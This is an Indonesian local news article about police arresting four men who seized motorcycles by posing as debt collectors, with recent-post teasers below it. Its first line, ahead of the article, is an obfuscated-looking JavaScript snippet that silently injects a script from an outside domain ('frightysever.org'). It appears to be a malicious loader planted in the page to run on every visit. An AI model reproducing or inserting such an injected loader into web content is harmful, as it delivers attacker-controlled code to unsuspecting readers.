(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Komplotan Perampas Motor Ngaku Debt Collector Diringkus Satreskrim Polresta Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Empat lelaki di Kota Banjarmasin merampas dua sepeda motor warga dengan mengaku sebagai debt collector.

Komplotan itu dibekuk Satreskrim Polres Banjarmasin saat tertidur lelap di dua tempat persembunyian mereka di Kabupaten Barito Kuala dan Kabupaten Tanah Laut, Kalimantan Selatan.

Kasat Reskrim Polresta Banjarmasin Kompol Thomas Afrian mengatakan, saat beraksi komplotan lelaki berbadan kekar itu, menggunakan modus yang sama, yakni mengaku sebagai debt collector atau penagih utang kepada para korbannya.

Kemudian, setelah berhasil merampas sepeda motor korban, komplotan itu lantas menjualnya kembali ke pasar loak.

Baca juga: Ganggu Pasokan, Ancaman Sanksi Penjual Air Bersih Pakai Pompa di Banjarmasin

“Modusnya penagih utang mirip, dimana para pelaku mengaku sebagai debt collector untuk mengambil kendaraan roda dua dari para korban. Setelah itu kendaraan atau kendaraan roda dua ini oleh para pelaku dijual kembali ke loak,” kata Kompol Thomas, Sabtu (2/9/2023) malam.

Menurutnya, sejauh ini baru ada dua laporan polisi yang diterima oleh Polresta Banjarmasin.

Namun, Thomas tak menampik, ada dugaan komplotan itu telah beraksi cukup lama dengan jumlah korban lebih dari dua orang.

Untuk itu, Polres Banjarmasin terus mendalami kasus ini. Sedangkan empat pelaku telah ditetapkan sebagai tersangka dan ditahan.

Baca juga: Baksos IMBI Kalsel Bagikan Paket Sembako

“Sementara kalau untuk LP kan dua ini, LP-nya dua sampai saat ini. Masih kita dalami ada berapa sih sebetulnya pelaku ini pernah melakukan perbuatan serupa. Namun demikian, terkait dua LP tersebut sudah disidik. Para pelaku sudah ditetapkan tersangka dan sudah dilakukan penahanan,” paparnya.

Atas perbuatannya, keempat tersangka dijerat dengan pasal berlapis, yakni Pasal 365, Pasal 378 juncto Pasal 372 KUHP dengan ancaman hukuman di atas 5 tahun penjara. (Kanalkalimantan/Beritasatu.com/kk)

Editor : kk


Risa

Recent Posts

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

1 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

2 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

2 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

3 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

5 jam ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

6 jam ago

This website uses cookies.